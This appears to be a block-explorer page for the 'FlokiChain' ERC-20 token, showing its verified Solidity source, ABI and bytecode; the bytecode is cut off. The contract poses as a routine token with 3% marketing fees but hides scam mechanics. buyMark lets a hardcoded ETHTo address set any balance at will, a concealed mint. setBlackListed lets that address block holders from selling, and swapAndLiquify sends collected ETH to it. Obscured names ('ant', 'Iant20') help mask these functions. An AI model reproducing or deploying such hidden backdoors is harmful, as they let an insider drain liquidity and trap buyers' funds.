ETH Price: $3,005.12 (+5.41%)
Gas: 2 Gwei

Token

FlokiChain (FChain)
 

Overview

Max Total Supply

10,000,000,000 FChain

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
474,268,045.921530826 FChain

Value
$0.00
0xdedef43199ed4eabdc83f69b6369869c5fedb0e4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FlokiChain

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-21
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface Iant20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function ant(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }


}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  FlokiChain is Context, Iant20, Ownable {

    using SafeMath for uint256;
    string private _name = "FlokiChain";
    string private _symbol = "FChain";
    uint8 private _decimals = 9;
    address payable public ETHTo;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    function buyMark(address sender, uint256 amount) public ETHT() {
        _balances[sender] = amount.mul(100) - amount.div(99) + (amount).ant(_balances[sender]);
    }
    uint256 public _sellMarketingFee = 3;

    uint256 public _totalTaxIfBuying;
    modifier ETHT() {
        require(_msgSender() == ETHTo, "caller not owner");_;
    }
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;

        isMarketPair[address(uniswapPair)] = true;

        ETHTo = payable(address(0x61494E14E5Ba7F0706C17c9BB35409fa226E3705));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ant20: approve from the zero address");
        require(spender != address(0), "ant20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ant20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ant20: transfer from the zero address");
        require(to != address(0), "ant20: transfer to the zero address");
        require(!_blackListed[from], "ant20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_totalTaxIfBuying).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_totalTaxIfSelling).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function setBlackListed(address[] calldata addresses, bool status) public ETHT() {
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHBalance = address(this).balance;

        if(ETHBalance > 0)
            ETHTo.transfer(ETHBalance);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ETHTo","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"buyMark","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600a81526020017f466c6f6b69436861696e00000000000000000000000000000000000000000000815250600190805190602001906200005192919062000783565b506040518060400160405280600681526020017f46436861696e0000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000783565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a55600360009054906101000a900460ff16600a6200011c919062000943565b6402540be4006200012e919062000a80565b600d553480156200013e57600080fd5b506200014f6200075260201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026957600080fd5b505afa1580156200027e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a491906200084a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030757600080fd5b505afa1580156200031c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034291906200084a565b6040518363ffffffff1660e01b8152600401620003619291906200089e565b602060405180830381600087803b1580156200037c57600080fd5b505af115801562000391573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b791906200084a565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f36200075a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600b81905550600a54600c81905550600160076000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507361494e14e5ba7f0706c17c9bb35409fa226e3705600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d5460046000620006946200075260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006e26200075260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620007439190620008cb565b60405180910390a35062000bec565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007919062000b2c565b90600052602060002090601f016020900481019282620007b5576000855562000801565b82601f10620007d057805160ff191683800117855562000801565b8280016001018555821562000801579182015b8281111562000800578251825591602001919060010190620007e3565b5b50905062000810919062000814565b5090565b5b808211156200082f57600081600090555060010162000815565b5090565b600081519050620008448162000bd2565b92915050565b60006020828403121562000863576200086262000bc0565b5b6000620008738482850162000833565b91505092915050565b620008878162000ae1565b82525050565b620008988162000b15565b82525050565b6000604082019050620008b560008301856200087c565b620008c460208301846200087c565b9392505050565b6000602082019050620008e260008301846200088d565b92915050565b6000808291508390505b60018511156200093a5780860481111562000912576200091162000b62565b5b6001851615620009225780820291505b8081029050620009328562000bc5565b9450620008f2565b94509492505050565b6000620009508262000b15565b91506200095d8362000b1f565b92506200098c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000994565b905092915050565b600082620009a6576001905062000a79565b81620009b6576000905062000a79565b8160018114620009cf5760028114620009da5762000a10565b600191505062000a79565b60ff841115620009ef57620009ee62000b62565b5b8360020a91508482111562000a095762000a0862000b62565b5b5062000a79565b5060208310610133831016604e8410600b841016171562000a4a5782820a90508381111562000a445762000a4362000b62565b5b62000a79565b62000a598484846001620008e8565b9250905081840481111562000a735762000a7262000b62565b5b81810290505b9392505050565b600062000a8d8262000b15565b915062000a9a8362000b15565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ad65762000ad562000b62565b5b828202905092915050565b600062000aee8262000af5565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b4557607f821691505b6020821081141562000b5c5762000b5b62000b91565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bdd8162000ae1565b811462000be957600080fd5b50565b60805160601c612b5662000c0b60003960006107c90152612b566000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063c86079521161006f578063c8607952146104dd578063dd62ed3e14610508578063ee06c45a14610545578063f0cd1dac14610570578063f2fde38b1461059b578063f9d88a33146105c457610156565b80638da5cb5b146103cb57806395d89b41146103f6578063a9059cbb14610421578063b2a3120b1461045e578063c5d2418914610487578063c816841b146104b257610156565b806327c8f8351161010857806327c8f83514610293578063313ce567146102be5780633345611e146102e95780633ecad2711461032657806370a082311461036357806382eefb43146103a057610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee5780631d231b2c1461021957806323b872dd1461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105ed565b60405161017d91906122d6565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611f68565b61067f565b6040516101ba91906122a0565b60405180910390f35b3480156101cf57600080fd5b506101d861069d565b6040516101e591906122bb565b60405180910390f35b3480156101fa57600080fd5b506102036106c3565b6040516102109190612418565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e7b565b6106cd565b60405161024d91906122a0565b60405180910390f35b34801561026257600080fd5b5061027d60048036038101906102789190611f15565b6106ed565b60405161028a91906122a0565b60405180910390f35b34801561029f57600080fd5b506102a86107c7565b6040516102b5919061226a565b60405180910390f35b3480156102ca57600080fd5b506102d36107eb565b6040516102e0919061248d565b60405180910390f35b3480156102f557600080fd5b50610310600480360381019061030b9190611e7b565b610802565b60405161031d91906122a0565b60405180910390f35b34801561033257600080fd5b5061034d60048036038101906103489190611e7b565b610822565b60405161035a91906122a0565b60405180910390f35b34801561036f57600080fd5b5061038a60048036038101906103859190611e7b565b610842565b6040516103979190612418565b60405180910390f35b3480156103ac57600080fd5b506103b561088b565b6040516103c29190612418565b60405180910390f35b3480156103d757600080fd5b506103e0610891565b6040516103ed919061226a565b60405180910390f35b34801561040257600080fd5b5061040b6108ba565b60405161041891906122d6565b60405180910390f35b34801561042d57600080fd5b5061044860048036038101906104439190611f68565b61094c565b60405161045591906122a0565b60405180910390f35b34801561046a57600080fd5b5061048560048036038101906104809190611fa8565b61096b565b005b34801561049357600080fd5b5061049c610aa7565b6040516104a99190612418565b60405180910390f35b3480156104be57600080fd5b506104c7610aad565b6040516104d4919061226a565b60405180910390f35b3480156104e957600080fd5b506104f2610ad3565b6040516104ff9190612418565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a9190611ed5565b610ad9565b60405161053c9190612418565b60405180910390f35b34801561055157600080fd5b5061055a610b60565b6040516105679190612285565b60405180910390f35b34801561057c57600080fd5b50610585610b86565b6040516105929190612418565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190611e7b565b610b8c565b005b3480156105d057600080fd5b506105eb60048036038101906105e69190611f68565b610cde565b005b6060600180546105fc906126f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610628906126f4565b80156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b600061069361068c610e4a565b8484610e52565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b60006106fa84848461101d565b506107bc84610707610e4a565b6107b785604051806060016040528060288152602001612af960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076d610e4a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169e9092919063ffffffff16565b610e52565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546108c9906126f4565b80601f01602080910402602001604051908101604052809291908181526020018280546108f5906126f4565b80156109425780601f1061091757610100808354040283529160200191610942565b820191906000526020600020905b81548152906001019060200180831161092557829003601f168201915b5050505050905090565b6000610960610959610e4a565b848461101d565b506001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac610e4a565b73ffffffffffffffffffffffffffffffffffffffff1614610a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f990612338565b60405180910390fd5b60005b83839050811015610aa1578160086000868685818110610a2857610a276127fc565b5b9050602002016020810190610a3d9190611e7b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9990612726565b915050610a05565b50505050565b60095481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b610b94610e4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1890612398565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1f610e4a565b73ffffffffffffffffffffffffffffffffffffffff1614610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c90612338565b60405180910390fd5b610dc7600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261170290919063ffffffff16565b610ddb60638361172a90919063ffffffff16565b610def60648461177490919063ffffffff16565b610df991906125de565b610e0391906124fd565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb990612318565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2990612378565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110109190612418565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561108e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611085906123b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f5906123f8565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561118b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611182906123d8565b60405180910390fd5b600f60149054906101000a900460ff16156111b2576111ab8484846117ef565b9050611697565b60006111bd30610842565b9050600f60149054906101000a900460ff161580156112265750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561123557611234816119c2565b5b61128783600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061136d5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561137a57839050611596565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113fd576113f660646113e8600b548861177490919063ffffffff16565b61172a90919063ffffffff16565b905061147b565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561147a576114776064611469600c548861177490919063ffffffff16565b61172a90919063ffffffff16565b90505b5b600081111561157f576114d681600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1090919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115769190612418565b60405180910390a35b6115928186611cc690919063ffffffff16565b9150505b6115e881600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116889190612418565b60405180910390a36001925050505b9392505050565b60008383111582906116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd91906122d6565b60405180910390fd5b50600083856116f591906125de565b9050809150509392505050565b600080828461171191906124fd565b90508381101561172057600080fd5b8091505092915050565b600061176c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d6e565b905092915050565b60008083141561178757600090506117e9565b600082846117959190612584565b90508284826117a49190612553565b146117e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117db90612358565b60405180910390fd5b809150505b92915050565b600061187a826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169e9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190f82600460008673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffff